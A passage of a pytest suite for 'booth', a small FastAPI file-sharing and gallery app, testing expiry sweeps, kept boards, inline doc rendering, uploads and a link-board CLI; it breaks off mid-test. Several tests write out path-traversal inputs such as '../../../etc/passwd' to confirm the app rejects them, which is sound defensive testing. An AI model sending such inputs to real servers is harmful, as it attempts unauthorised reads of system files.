booth/tests/test_booth.py

import os
import pathlib
import re
import time

import pytest
from fastapi.testclient import TestClient

from booth.app import (
    LINKS_FILE,
    PINS_FILE,
    link_entry_id,
    order_for_display,
    parse_link_entries,
    read_pins,
    remove_link_entry,
    toggle_pin,
    booth_age_seconds,
    EMBED_SCRIPT_TAG,
    KEEP_MARKER,
    build_gallery,
    classify,
    create_app,
    doc_kind,
    generate_pickup_id,
    human_dur,
    is_expired,
    is_kept,
    list_booths,
    render_doc,
    safe_upload_name,
    sweep_once,
)

PICKUP_RE = re.compile(r"^(\d{1,2}-[a-z]+|[a-z]+-\d{1,2})$")


# ---- pure helpers -----------------------------------------------------------


def test_classify():
    assert classify("a.PNG") == "image"
    assert classify("clip.webm") == "video"
    assert classify("v.mp4") == "video"
    assert classify("song.mp3") == "audio"
    assert classify("notes.txt") == "other"
    assert classify("archive.tar.gz") == "other"


def test_human_dur():
    assert human_dur(0) == "expired"
    assert human_dur(-5) == "expired"
    assert human_dur(30) == "<1m"
    assert human_dur(90) == "1m"
    assert human_dur(3600) == "1h"
    assert human_dur(3660) == "1h 1m"


def _touch(path, when=None):
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_bytes(b"x")
    if when is not None:
        os.utime(path, (when, when))


def test_is_expired_uses_newest_mtime(tmp_path):
    booth = tmp_path / "b"
    _touch(booth / "old.png", when=time.time() - 10_000)
    # freshly touched second file keeps the booth alive despite the old one
    _touch(booth / "new.png")
    assert not is_expired(booth, ttl_seconds=3600)

    old = tmp_path / "stale"
    t = time.time() - 10_000
    _touch(old / "x.png", when=t)
    os.utime(old, (t, t))
    assert is_expired(old, ttl_seconds=3600)


def test_sweep_only_removes_expired(tmp_path):
    fresh = tmp_path / "fresh"
    _touch(fresh / "a.png")
    old = tmp_path / "old"
    t = time.time() - 10_000
    _touch(old / "a.png", when=t)
    os.utime(old, (t, t))
    dotdir = tmp_path / ".control"
    t2 = time.time() - 10_000
    dotdir.mkdir()
    os.utime(dotdir, (t2, t2))

    wiped = sweep_once(tmp_path, ttl_seconds=3600)

    assert wiped == ["old"]
    assert fresh.exists()
    assert not old.exists()
    assert dotdir.exists()  # dotfolders are never swept


def test_build_gallery_folds_caption_sidecars(tmp_path):
    booth = tmp_path / "b"
    _touch(booth / "a.png")
    (booth / "a.txt").write_text("variant A: cudaMalloc")
    _touch(booth / "b.png")
    (booth / "b.png.txt").write_text("variant B: cudaMallocAsync")
    _touch(booth / "loose.txt")  # no media partner -> shown as its own item

    items = build_gallery(booth)
    by_name = {it["name"]: it for it in items}

    assert by_name["a.png"]["caption"] == "variant A: cudaMalloc"
    assert by_name["b.png"]["caption"] == "variant B: cudaMallocAsync"
    assert "a.txt" not in by_name and "b.png.txt" not in by_name
    assert "loose.txt" in by_name  # a caption with nothing to caption stays visible


# ---- inline doc rendering ---------------------------------------------------
#
# .md / .txt / .log docs render INLINE in the gallery (collapsible), not as a
# clumsy link to a separate page. build_gallery pre-renders the content so the
# template stays logicless.


def test_build_gallery_prerenders_markdown_inline(tmp_path):
    booth = tmp_path / "b"
    booth.mkdir()
    (booth / "report.md").write_text("# Title\n\nsome **bold** text\n")

    it = next(i for i in build_gallery(booth) if i["name"] == "report.md")

    assert it["doc"] == "markdown"
    assert it["rendered_html"] is True
    assert "<h1>Title</h1>" in it["rendered"]
    assert "<strong>bold</strong>" in it["rendered"]


def test_build_gallery_prerenders_text_as_raw(tmp_path):
    booth = tmp_path / "b"
    booth.mkdir()
    (booth / "notes.txt").write_text("plain <not html> line")

    it = next(i for i in build_gallery(booth) if i["name"] == "notes.txt")

    assert it["doc"] == "text"
    assert it["rendered_html"] is False
    # Raw text is NOT pre-escaped here — the template escapes it inside <pre>.
    # Pre-escaping plus template autoescape would double-encode the angle brackets.
    assert it["rendered"] == "plain <not html> line"


def test_build_gallery_oversize_doc_is_not_inlined(tmp_path):
    booth = tmp_path / "b"
    booth.mkdir()
    big = "x" * (2 * 1024 * 1024 + 10)  # over DOC_MAX_BYTES
    (booth / "huge.log").write_text(big)

    it = next(i for i in build_gallery(booth) if i["name"] == "huge.log")

    assert it["doc"] == "text"
    assert it["rendered"] is None  # too big to inline; template falls back to a link


def test_non_doc_item_has_no_rendered_field(tmp_path):
    booth = tmp_path / "b"
    _touch(booth / "shot.png")

    it = next(i for i in build_gallery(booth) if i["name"] == "shot.png")

    assert it["doc"] is None
    assert it["rendered"] is None


def test_booth_page_renders_markdown_inline_collapsible(client):
    c, data = client
    (data / "run1").mkdir()
    (data / "run1" / "brief.md").write_text("# Heading\n\nbody line\n")

    html = c.get("/b/run1/").text

    # rendered inline, inside a native <details> disclosure — no navigation
    assert "<details" in html
    assert "<h1>Heading</h1>" in html
    # and the raw-file link is still available for download / full view
    assert "brief.md" in html


def test_booth_page_inlines_txt_without_double_escaping(client):
    c, data = client
    (data / "run1").mkdir()
    (data / "run1" / "log.txt").write_text("value <x> & <y>")

    html = c.get("/b/run1/").text

    # exactly one level of HTML-escaping (template autoescape inside <pre>),
    # not the double-encoding that pre-escaping in Python would produce
    assert "value &lt;x&gt; &amp; &lt;y&gt;" in html
    assert "&amp;lt;" not in html


# ---- HTTP surface -----------------------------------------------------------


@pytest.fixture
def client(tmp_path):
    app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
    return TestClient(app), tmp_path


def test_index_empty(client):
    c, _ = client
    r = c.get("/")
    assert r.status_code == 200
    assert "No booths yet" in r.text


def test_index_lists_booth(client):
    c, data = client
    _touch(data / "run1" / "a.png")
    r = c.get("/")
    assert r.status_code == 200
    assert "run1" in r.text


def test_booth_autogallery_renders_media(client):
    c, data = client
    _touch(data / "run1" / "shot.png")
    r = c.get("/b/run1/")
    assert r.status_code == 200
    assert "<img" in r.text
    assert "shot.png" in r.text


def test_booth_serves_own_index_html(client):
    c, data = client
    d = data / "custom"
    d.mkdir()
    (d / "index.html").write_text("<h1>MY CUSTOM REPORT</h1>")
    r = c.get("/b/custom/")
    assert r.status_code == 200
    assert "MY CUSTOM REPORT" in r.text


def test_booth_serves_file(client):
    c, data = client
    (data / "run1").mkdir()
    (data / "run1" / "a.bin").write_bytes(b"\x00\x01payload")
    r = c.get("/b/run1/a.bin")
    assert r.status_code == 200
    assert r.content == b"\x00\x01payload"


def test_booth_zip_download(client):
    # a verbatim index.html booth (no per-file chrome) is still downloadable as a zip
    c, data = client
    d = data / "brief"
    d.mkdir()
    (d / "index.html").write_text("<h1>BRIEF</h1>")
    (d / "notes.md").write_text("# notes")
    r = c.get("/b/brief/?download=1")
    assert r.status_code == 200
    assert r.headers["content-type"] == "application/zip"
    assert "attachment" in r.headers["content-disposition"]
    assert "brief.zip" in r.headers["content-disposition"]
    import io as _io
    import zipfile as _zip
    assert set(_zip.ZipFile(_io.BytesIO(r.content)).namelist()) == {"index.html", "notes.md"}


def test_booth_file_force_download(client):
    # ?dl=1 forces attachment so html/md/text saves instead of rendering inline
    c, data = client
    d = data / "brief"
    d.mkdir()
    (d / "index.html").write_text("<h1>BRIEF</h1>")
    r = c.get("/b/brief/index.html")
    assert "attachment" not in r.headers.get("content-disposition", "")
    r2 = c.get("/b/brief/index.html?dl=1")
    assert r2.status_code == 200
    assert "attachment" in r2.headers["content-disposition"]
    assert "index.html" in r2.headers["content-disposition"]


def test_missing_booth_404(client):
    c, _ = client
    assert c.get("/b/nope/").status_code == 404


def test_traversal_rejected(client):
    c, data = client
    (data / "run1").mkdir()
    # a name with a slash or .. can never resolve to a direct child
    assert c.get("/b/..%2f..%2fetc/").status_code == 404
    assert c.get("/b/run1/../../../etc/passwd").status_code == 404


def test_delete_form_wipes(client):
    c, data = client
    _touch(data / "run1" / "a.png")
    r = c.post("/b/run1/delete", follow_redirects=False)
    assert r.status_code == 303
    assert not (data / "run1").exists()


def test_delete_api_wipes(client):
    c, data = client
    _touch(data / "run1" / "a.png")
    r = c.request("DELETE", "/b/run1")
    assert r.status_code == 200
    assert r.json() == {"wiped": "run1"}
    assert not (data / "run1").exists()


def test_healthz(client):
    c, data = client
    _touch(data / "run1" / "a.png")
    r = c.get("/healthz")
    assert r.status_code == 200
    body = r.json()
    assert body["ok"] is True and body["booths"] == 1


# ---- uploads / pickup -------------------------------------------------------


def test_generate_pickup_id_format():
    for _ in range(100):
        pid = generate_pickup_id(lambda n: False)
        assert PICKUP_RE.match(pid), pid


def test_generate_pickup_id_avoids_collision():
    taken = {"4-wombat", "star-84"}
    for _ in range(50):
        pid = generate_pickup_id(lambda n: n in taken)
        assert pid not in taken


def test_safe_upload_name():
    assert safe_upload_name("../../etc/passwd", "fb") == "passwd"
    assert safe_upload_name("C:\\Users\\x\\shot.png", "fb") == "shot.png"
    assert safe_upload_name("", "fb") == "fb"
    assert safe_upload_name("   ", "fb") == "fb"
    assert safe_upload_name(".hidden", "fb") == "hidden"
    assert safe_upload_name("...", "fb") == "fb"


def _upload(client, files):
    return client.post("/upload", files=files, follow_redirects=False)


def test_upload_creates_pickup_booth(client):
    c, data = client
    r = _upload(c, [
        ("files", ("a.png", b"\x89PNG\r\n\x1a\n" + b"0" * 20, "image/png")),
        ("files", ("notes.txt", b"pick me up", "text/plain")),
    ])
    assert r.status_code == 303
    loc = r.headers["location"]
    pid = loc.split("/b/")[1].rstrip("/")
    assert PICKUP_RE.match(pid), pid
    booth = data / pid
    assert (booth / "a.png").is_file()
    assert (booth / "notes.txt").read_bytes() == b"pick me up"
    assert (booth / ".uploaded").is_file()  # marker present


def test_upload_booth_renders_pickup_ui(client):
    c, data = client
    r = _upload(c, [("files", ("shot.png", b"\x89PNG" + b"0" * 30, "image/png"))])
    pid = r.headers["location"].split("/b/")[1].rstrip("/")
    page = c.get(f"/b/{pid}/")
    assert page.status_code == 200
    assert "pickup" in page.text.lower()      # badge / note
    assert 'download' in page.text            # per-item download link
    # and it shows up flagged as an upload on the index
    assert pid in c.get("/").text


def test_upload_sanitizes_traversal(client):
    c, data = client
    r = _upload(c, [("files", ("../../../etc/passwd", b"x", "text/plain"))])
    pid = r.headers["location"].split("/b/")[1].rstrip("/")
    booth = data / pid
    assert (booth / "passwd").is_file()               # basename only
    assert not (data.parent / "passwd").exists()       # nothing escaped upward


def test_upload_rejects_too_many_files(tmp_path):
    app = create_app(tmp_path, start_sweeper=False, max_files=2)
    c = TestClient(app)
    files = [("files", (f"f{i}.txt", b"x", "text/plain")) for i in range(3)]
    r = c.post("/upload", files=files, follow_redirects=False)
    assert r.status_code == 413
    # no partial booth left behind
    assert list(tmp_path.iterdir()) == []


def test_upload_rejects_too_large(tmp_path):
    app = create_app(tmp_path, start_sweeper=False, max_upload_mb=0.0001)  # ~104 bytes
    c = TestClient(app)
    r = c.post(
        "/upload",
        files=[("files", ("big.bin", b"0" * 500, "application/octet-stream"))],
        follow_redirects=False,
    )
    assert r.status_code == 413
    assert list(tmp_path.iterdir()) == []  # partial write cleaned up


def test_upload_dedupes_repeated_names(client):
    c, data = client
    r = _upload(c, [
        ("files", ("shot.png", b"a" * 10, "image/png")),
        ("files", ("shot.png", b"b" * 10, "image/png")),
    ])
    pid = r.headers["location"].split("/b/")[1].rstrip("/")
    names = sorted(p.name for p in (data / pid).iterdir() if not p.name.startswith("."))
    assert names == ["shot-1.png", "shot.png"]


# ---- image viewer -----------------------------------------------------------


def test_image_view_renders(client):
    c, data = client
    _touch(data / "run1" / "shot.png")
    r = c.get("/b/run1/view", params={"f": "shot.png"})
    assert r.status_code == 200
    assert 'id="vstage"' in r.text            # the viewer stage
    assert ">Fit<" in r.text and ">1:1<" in r.text
    assert "shot.png" in r.text


def test_gallery_image_links_to_viewer(client):
    c, data = client
    _touch(data / "run1" / "shot.png")
    page = c.get("/b/run1/")
    assert "view?f=shot.png" in page.text     # gallery routes images to the viewer, not the raw file


def test_image_view_missing_404(client):
    c, data = client
    (data / "run1").mkdir()
    assert c.get("/b/run1/view", params={"f": "nope.png"}).status_code == 404


def test_image_view_traversal_404(client):
    c, data = client
    (data / "run1").mkdir()
    assert c.get("/b/run1/view", params={"f": "../../etc/passwd"}).status_code == 404


def test_view_nonviewable_redirects_to_raw(client):
    c, data = client
    _touch(data / "run1" / "data.bin")  # not image/md/txt -> nothing to render, hand back raw
    r = c.get("/b/run1/view", params={"f": "data.bin"}, follow_redirects=False)
    assert r.status_code == 307
    assert r.headers["location"] == "/b/run1/data.bin"


# ---- verbatim-index.html serving -------------------------------------------
#
# U3 replaced the injection wrapper with a declared seam. The five `test_wrap_*`
# tests and `test_verbatim_booth_wrapped_with_back_chip` that stood here tested
# `wrap_verbatim_html` — six regexes hunting a head-ish seam for a favicon and a
# body-ish seam for a chip, plus the doctype and charset-window constraints they
# threaded. None of those constraints can be violated by an append, so there is
# nothing left of them to assert. What replaced them lives in tests/test_embed.py
# (the payload, the one appended tag, whole-body equality for a declaring page)
# and tests/test_embed_browser.py (the mount, in a real DOM).
#
# What stays here is what did NOT change: the file route is still raw.


def test_verbatim_booth_is_served_with_the_seam(client):
    c, data = client
    d = data / "brief"
    d.mkdir()
    (d / "index.html").write_text("<html><head></head><body><h1>BRIEF</h1></body></html>")
    r = c.get("/b/brief/")
    assert r.status_code == 200
    assert "BRIEF" in r.text                       # content preserved
    assert r.text.endswith(EMBED_SCRIPT_TAG)       # ...and the seam, appended


def test_verbatim_index_raw_file_route_unwrapped(client):
    # the file route (/b/<name>/index.html) still serves the raw bytes — the seam
    # only rides on the booth view (/b/<name>/), so downloads/assets stay verbatim
    c, data = client
    d = data / "brief"
    d.mkdir()
    (d / "index.html").write_text("<html><body><h1>BRIEF</h1></body></html>")
    r = c.get("/b/brief/index.html")
    assert r.status_code == 200
    assert "_booth/embed.js" not in r.text


# ---- .md / .txt in-booth doc viewer -----------------------------------------


def test_doc_kind():
    assert doc_kind("notes.md") == "markdown"
    assert doc_kind("a.markdown") == "markdown"
    assert doc_kind("log.txt") == "text"
    assert doc_kind("run.log") == "text"
    assert doc_kind("shot.png") is None
    assert doc_kind("data.bin") is None


def test_render_doc_markdown():
    html, is_html = render_doc("# Title\n\n- a\n- b\n", "markdown")
    assert is_html is True
    assert "<h1>" in html and "Title" in html
    assert "<li>" in html


def test_render_doc_text_is_verbatim():
    body, is_html = render_doc("plain\ntext", "text")
    assert is_html is False and body == "plain\ntext"


def test_view_markdown_renders(client):
    c, data = client
    d = data / "run1"; d.mkdir()
    (d / "notes.md").write_text("# Heading\n\nsome **bold** text\n")
    r = c.get("/b/run1/view", params={"f": "notes.md"})
    assert r.status_code == 200
    assert "<h1>" in r.text and "Heading" in r.text            # rendered, not raw markdown
    assert "<strong>bold</strong>" in r.text
    assert "attachment" not in r.headers.get("content-disposition", "")  # viewed, not downloaded


def test_view_text_shows_preformatted(client):
    c, data = client
    d = data / "run1"; d.mkdir()
    (d / "out.txt").write_text("line one\nline two")
    r = c.get("/b/run1/view", params={"f": "out.txt"})
    assert r.status_code == 200
    assert "<pre" in r.text and "line one" in r.text
    assert "attachment" not in r.headers.get("content-disposition", "")


def test_gallery_inlines_docs_with_fullpage_and_download_affordances(client):
    # Docs now render INLINE in the gallery (see the inline-doc tests above),
    # not as a link. The full-page viewer stays reachable via the ⤢ affordance,
    # and the raw file via a download link — but the doc content itself is on
    # the page, not behind a click.
    c, data = client
    d = data / "run1"; d.mkdir()
    (d / "readme.md").write_text("# hi")
    (d / "notes.txt").write_text("hello")   # loose txt (no media partner) -> own item
    page = c.get("/b/run1/").text
    assert "<h1>hi</h1>" in page              # md rendered inline
    assert "hello" in page                    # txt shown inline
    assert "view?f=readme.md" in page         # full-page viewer still linked (⤢)
    assert 'href="readme.md" download' in page  # download affordance present


# ---- image viewer prev/next nav ---------------------------------------------


def test_view_image_prev_next_nav(client):
    c, data = client
    d = data / "run1"; d.mkdir()
    for n in ("a.png", "b.png", "c.png"):
        _touch(d / n)
    r = c.get("/b/run1/view", params={"f": "b.png"})   # middle -> prev=a, next=c
    assert r.status_code == 200
    assert 'class="vnav vprev" href="?f=a.png"' in r.text
    assert 'class="vnav vnext" href="?f=c.png"' in r.text


def test_view_image_nav_wraps(client):
    c, data = client
    d = data / "run1"; d.mkdir()
    for n in ("a.png", "b.png", "c.png"):
        _touch(d / n)
    first = c.get("/b/run1/view", params={"f": "a.png"}).text
    assert 'vprev" href="?f=c.png"' in first and 'vnext" href="?f=b.png"' in first  # first wraps prev->last
    last = c.get("/b/run1/view", params={"f": "c.png"}).text
    assert 'vnext" href="?f=a.png"' in last and 'vprev" href="?f=b.png"' in last    # last wraps next->first


def test_view_single_image_no_nav(client):
    c, data = client
    d = data / "run1"; d.mkdir()
    _touch(d / "only.png")
    r = c.get("/b/run1/view", params={"f": "only.png"})
    assert r.status_code == 200
    # no arrow anchors with a single image (the .vnav CSS rule is always present)
    assert 'class="vnav vprev"' not in r.text and 'class="vnav vnext"' not in r.text


# ---- kept booths: the `.forever` sentinel -----------------------------------
#
# The Booth's whole contract is "wiped 24h after last activity". A kept booth is
# the deliberate exception: an operator-facing board (agent-posted links, a
# standing report) that must outlive the sweep and stay separated from the
# ephemeral traffic so it does not get lost in it.


def _stale(path, seconds=10_000):
    """Age a booth and everything in it well past any test TTL."""
    t = time.time() - seconds
    for p in sorted(path.rglob("*"), reverse=True):
        os.utime(p, (t, t))
    os.utime(path, (t, t))


def test_is_kept_detects_the_sentinel(tmp_path):
    plain = tmp_path / "plain"
    plain.mkdir()
    kept = tmp_path / "kept"
    _touch(kept / KEEP_MARKER)

    assert not is_kept(plain)
    assert is_kept(kept)


def test_kept_booth_survives_the_sweep(tmp_path):
    """The point of the whole feature: expiry does not apply to a kept booth."""
    doomed = tmp_path / "doomed"
    _touch(doomed / "a.png")
    _stale(doomed)

    kept = tmp_path / "links"
    _touch(kept / "a.png")
    _touch(kept / KEEP_MARKER)
    _stale(kept)

    wiped = sweep_once(tmp_path, ttl_seconds=3600)

    assert wiped == ["doomed"]
    assert not doomed.exists()
    assert kept.exists(), "a booth carrying the sentinel must never be swept"


def test_kept_booth_is_still_reported_expired_by_age(tmp_path):
    """is_expired stays a pure age question; only the sweeper honours the pin.

    Keeping these separate means `expires_in` arithmetic and the reaper policy
    cannot drift into each other.
    """
    kept = tmp_path / "links"
    _touch(kept / KEEP_MARKER)
    _stale(kept)

    assert is_expired(kept, ttl_seconds=3600)
    assert sweep_once(tmp_path, ttl_seconds=3600) == []


def test_list_booths_flags_kept(tmp_path):
    _touch(tmp_path / "ephemeral" / "a.png")
    _touch(tmp_path / "links" / "a.png")
    _touch(tmp_path / "links" / KEEP_MARKER)

    by_name = {b["name"]: b for b in list_booths(tmp_path, ttl_seconds=3600)}

    assert by_name["ephemeral"]["kept"] is False
    assert by_name["links"]["kept"] is True


# ---- releasing a kept board so it can be deleted ---------------------------
#
# The kept lane deliberately has no wipe control: destroying a durable board
# should not be one misclick. But "deliberate" had been implemented as
# "impossible from the UI" — the only routes out were ssh or a hand-crafted
# API call. These endpoints make the documented workflow (drop the sentinel,
# the board rejoins the sweep, then wipe it like anything else) actually
# reachable, while keeping it two deliberate steps rather than one.


def test_unkeep_releases_a_kept_board(client):
    c, data = client
    _touch(data / "links" / "a.png")
    _touch(data / "links" / KEEP_MARKER)

    r = c.post("/b/links/unkeep", follow_redirects=False)

    assert r.status_code == 303
    assert not is_kept(data / "links"), "the sentinel must be gone"
    assert (data / "links" / "a.png").exists(), "unkeep must not touch content"


def test_unkeep_is_idempotent_on_an_unkept_board(client):
    """Releasing something already released is a no-op, not a 500."""
    c, data = client
    _touch(data / "run1" / "a.png")

    r = c.post("/b/run1/unkeep", follow_redirects=False)

    assert r.status_code == 303
    assert (data / "run1" / "a.png").exists()


def test_keep_pins_a_board_and_round_trips(client):
    """Reversible: the release step must not be a one-way door."""
    c, data = client
    _touch(data / "board" / "a.png")

    assert c.post("/b/board/keep", follow_redirects=False).status_code == 303
    assert is_kept(data / "board")

    assert c.post("/b/board/unkeep", follow_redirects=False).status_code == 303
    assert not is_kept(data / "board")


def test_keep_and_unkeep_go_through_the_same_name_guard(client):
    """Both mutating routes must use resolve_booth, not raw path joining.

    A name containing a slash never reaches the handler at all (the router has
    no matching path), so the interesting cases are the ones that DO reach it:
    a dotfile name and a name that simply is not a booth. Both must 404 rather
    than create a stray sentinel somewhere.
    """
    c, data = client
    for route in ("keep", "unkeep"):
        assert c.post(f"/b/.hidden/{route}").status_code == 404
        assert c.post(f"/b/nope/{route}").status_code == 404
    assert not (data / ".hidden").exists(), "must not have created anything"
    assert list(data.iterdir()) == [], "data dir untouched by rejected calls"


def test_releasing_a_board_RESETS_its_ttl_clock(tmp_path):
    """Counter-intuitive, and the reason release-then-sweep is not a delete path.

    Removing the sentinel bumps the booth directory's mtime, and age is the
    newest mtime in the tree — so a board that was 10,000s stale reads as 0s
    old the instant it is released, and survives another full TTL. This test
    pins that behaviour deliberately: anyone who "unkeeps and waits" is waiting
    a fresh 24h, not reaping something already expired. Delete via the wipe
    route instead, which release is what unlocks.
    """
    kept = tmp_path / "links"
    _touch(kept / "a.png")
    _touch(kept / KEEP_MARKER)
    _stale(kept)

    assert sweep_once(tmp_path, ttl_seconds=3600) == [], "pinned: exempt"
    assert booth_age_seconds(kept) > 3600

    (kept / KEEP_MARKER).unlink()

    # Unlinking the sentinel by hand, which is what this test is about: the
    # directory-entry change is what moves the clock. Releasing through the
    # ROUTE now also records a view, so the behaviour is stated rather than
    # incidental — `test_releasing_a_board_RECORDS_A_VIEW` in test_lifetime.py.
    assert booth_age_seconds(kept) < 60, "unlink bumped the dir mtime"
    assert sweep_once(tmp_path, ttl_seconds=3600) == [], "so it is NOT swept yet"
    assert kept.exists()


def test_released_board_is_sweepable_once_it_ages_again(tmp_path):
    """It does rejoin the sweep — just on a fresh clock, not the old one."""
    released = tmp_path / "links"
    _touch(released / "a.png")

    _stale(released)

    assert sweep_once(tmp_path, ttl_seconds=3600) == ["links"]
    assert not released.exists()


def test_sentinel_is_not_counted_as_an_item(tmp_path):
    """It is a dotfile, so it must not inflate the item count or become a tile."""
    _touch(tmp_path / "links" / "a.png")
    _touch(tmp_path / "links" / KEEP_MARKER)

    booth = next(b for b in list_booths(tmp_path, ttl_seconds=3600) if b["name"] == "links")

    assert booth["count"] == 1


def test_index_marks_kept_on_the_row_instead_of_a_lane(client):
    """R2 C4 (docs/contracts/r2_flow.contract.md, "Assertions that change").
    This test used to require a kept LANE rendered before the ephemeral grid.
    The Desk removed the lanes — 23 of 24 live booths were kept, so they sorted
    nothing — and orders by what needs the operator instead (tested in
    tests/test_flow.py). What survives is the fact: a kept booth still says it
    is kept, on its own row."""
    c, data = client
    _touch(data / "scratch" / "a.png")
    _touch(data / "links" / "a.png")
    _touch(data / "links" / KEEP_MARKER)

    html = c.get("/").text

    assert 'data-booth="links" data-kept="1"' in html
    assert 'data-booth="scratch" data-kept="0"' in html
    assert 'class="grid kept-grid"' not in html, "no lane: kept is a fact, not a grouping"


def test_kept_booth_shows_kept_instead_of_a_countdown(client):
    c, data = client
    _touch(data / "links" / "a.png")
    _touch(data / "links" / KEEP_MARKER)

    html = c.get("/").text

    assert "expires in" not in html, "a kept booth has no expiry to advertise"


def test_index_without_kept_booths_omits_the_lane(client):
    c, data = client
    _touch(data / "scratch" / "a.png")

    html = c.get("/").text

    # The full attribute form, because the bare class names also appear in the
    # inlined stylesheet that ships on every page.
    assert 'class="grid kept-grid"' not in html, "the lane must not render when nothing is kept"
    assert 'class="card card-kept"' not in html


# ---- the standing link board: per-entry removal -----------------------------
#
# The link board is the one MULTI-WRITER booth: every agent session appends to
# it. "Delete the folder" is the wrong granularity for a dead link, and until
# now it was the only option short of hand-editing the markdown.

_ROW = "- [{d}]({u}) <sub>· {w} · 2026-08-23 10:00</sub>"


def _board(tmp_path, *rows):
    b = tmp_path / "links"
    b.mkdir(parents=True, exist_ok=True)
    (b / LINKS_FILE).write_text("".join(r + "\n" for r in rows))
    return b


def test_parse_reads_description_url_and_provenance(tmp_path):
    b = _board(tmp_path, _ROW.format(d="Booth", u="http://x/", w="infra-ops"))

    e = parse_link_entries((b / LINKS_FILE).read_text())[0]

    assert e["desc"] == "Booth"
    assert e["url"] == "http://x/"
    assert e["who"] == "infra-ops"
    assert e["when"] == "2026-08-23 10:00"


def test_parse_tolerates_prose_around_the_rows(tmp_path):
    """The board is a plain markdown file the operator may edit by hand."""
    b = _board(tmp_path, "# My board", "", _ROW.format(d="A", u="http://a/", w="x"),
               "a note someone typed", _ROW.format(d="B", u="http://b/", w="y"))

    e = parse_link_entries((b / LINKS_FILE).read_text())

    assert [x["desc"] for x in e] == ["A", "B"]


def test_ids_are_content_addressed_not_positional(tmp_path):
    """The whole reason removal is by id: another session can append at any
    moment, and an index would then point at a different row."""
    row_a = _ROW.format(d="A", u="http://a/", w="x")
    b = _board(tmp_path, row_a)
    before = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]

    # a concurrent session appends ABOVE nothing but shifts nothing either way
    with (b / LINKS_FILE).open("a") as f:
        f.write(_ROW.format(d="B", u="http://b/", w="y") + "\n")

    after = {e["desc"]: e["id"] for e in parse_link_entries((b / LINKS_FILE).read_text())}

    assert after["A"] == before, "an append must not change an existing row's id"


def test_remove_takes_exactly_the_named_row(tmp_path):
    b = _board(tmp_path,
               _ROW.format(d="keep me", u="http://a/", w="x"),
               _ROW.format(d="kill me", u="http://b/", w="y"),
               _ROW.format(d="keep me too", u="http://c/", w="z"))
    target = next(e for e in parse_link_entries((b / LINKS_FILE).read_text())
                  if e["desc"] == "kill me")

    removed = remove_link_entry(b, target["id"])

    assert removed["desc"] == "kill me"
    left = [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())]
    assert left == ["keep me", "keep me too"]


def test_remove_reports_a_miss_rather_than_deleting_a_neighbour(tmp_path):
    """The failure mode that matters: a stale id must be a no-op, not a guess."""
    b = _board(tmp_path, _ROW.format(d="only", u="http://a/", w="x"))

    assert remove_link_entry(b, "deadbeef") is None
    assert len(parse_link_entries((b / LINKS_FILE).read_text())) == 1


def test_remove_preserves_hand_written_prose(tmp_path):
    b = _board(tmp_path, "# Board", _ROW.format(d="gone", u="http://a/", w="x"), "trailing note")
    target = parse_link_entries((b / LINKS_FILE).read_text())[0]

    remove_link_entry(b, target["id"])

    text = (b / LINKS_FILE).read_text()
    assert "# Board" in text and "trailing note" in text
    assert "http://a/" not in text


def test_remove_on_a_board_with_no_file_is_a_no_op(tmp_path):
    b = tmp_path / "links"
    b.mkdir()
    assert remove_link_entry(b, "whatever") is None


def test_unlink_endpoint_removes_one_row(client):
    c, data = client
    b = _board(data, _ROW.format(d="a", u="http://a/", w="x"),
               _ROW.format(d="b", u="http://b/", w="y"))
    target = parse_link_entries((b / LINKS_FILE).read_text())[1]

    r = c.post("/b/links/unlink", data={"entry": target["id"]}, follow_redirects=False)

    assert r.status_code == 303
    assert [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())] == ["a"]


def test_unlink_endpoint_rejects_a_bad_booth(client):
    c, _ = client
    assert c.post("/b/nope/unlink", data={"entry": "x"}).status_code == 404


def _body(client_, path):
    """Rendered body only — the stylesheet mentions class names too."""
    return client_.get(path).text.split("</style>")[-1]


def test_board_booth_renders_rows_not_a_markdown_blob(client):
    c, data = client
    _board(data, _ROW.format(d="A", u="http://a/", w="x"),
           _ROW.format(d="B", u="http://b/", w="y"))

    body = _body(c, "/b/links/")

    assert body.count('class="board-row"') == 2
    assert "/b/links/unlink" in body, "each row needs its own remove control"
    assert 'class="gallery"' not in body, "links.md must not ALSO render as a doc tile"


def test_board_booth_does_not_claim_to_be_empty(client):
    """Filtering links.md out of the gallery leaves items empty — the empty
    state must key on the board too, or a full board reads as an empty booth."""
    c, data = client
    _board(data, _ROW.format(d="A", u="http://a/", w="x"))

    assert "is empty" not in _body(c, "/b/links/")


def test_board_booth_counts_links_not_files(client):
    c, data = client
    _board(data, _ROW.format(d="A", u="http://a/", w="x"),
           _ROW.format(d="B", u="http://b/", w="y"))

    assert "2 links" in _body(c, "/b/links/")


def test_board_booth_has_no_one_click_wipe(client):
    """Same rule as the kept lane: no single click destroys a durable board."""
    c, data = client
    _board(data, _ROW.format(d="A", u="http://a/", w="x"))

    assert "Wipe now" not in _body(c, "/b/links/")


def test_ordinary_booths_are_untouched_by_the_board_branch(client):
    c, data = client
    _touch(data / "run1" / "a.png")

    body = _body(c, "/b/run1/")

    assert "Wipe now" in body
    assert "1 item" in body
    assert 'class="board-row"' not in body


def test_a_genuinely_empty_booth_still_says_so(client):
    c, data = client
    (data / "hollow").mkdir()

    assert "is empty" in _body(c, "/b/hollow/")


# ---- the `booth` CLI: links / unlink ----------------------------------------
#
# Exercised as a subprocess because the bugs these pin were SHELL bugs, not
# Python ones — the module was correct throughout while the wrapper silently
# did nothing. Testing the module alone would have caught neither.

import subprocess

CLI = pathlib.Path(__file__).resolve().parent.parent / "scripts" / "booth"


def _cli(data, *args):
    env = {**os.environ, "BOOTH_DATA_DIR": str(data)}
    return subprocess.run([str(CLI), *args], capture_output=True, text=True, env=env)


def test_cli_links_exits_zero_on_a_NON_empty_board(tmp_path):
    """Regression: the branch ended with `[ "$n" -eq 0 ] && echo ...`, so it
    returned 1 whenever the board had rows. `unlink`'s index lookup calls it
    inside $( ) under `set -e`, so a successful listing killed the caller and
    the removal silently did nothing."""
    _cli(tmp_path, "link", "http://a/", "A")

    r = _cli(tmp_path, "links")

    assert r.returncode == 0, r.stderr
    assert "http://a/" in r.stdout


def test_cli_unlink_by_index(tmp_path):
    for u in ("http://a/", "http://b/", "http://c/"):
        _cli(tmp_path, "link", u, u)

    r = _cli(tmp_path, "unlink", "2")

    assert r.returncode == 0, r.stderr
    assert "http://b/" in r.stdout
    left = _cli(tmp_path, "links").stdout
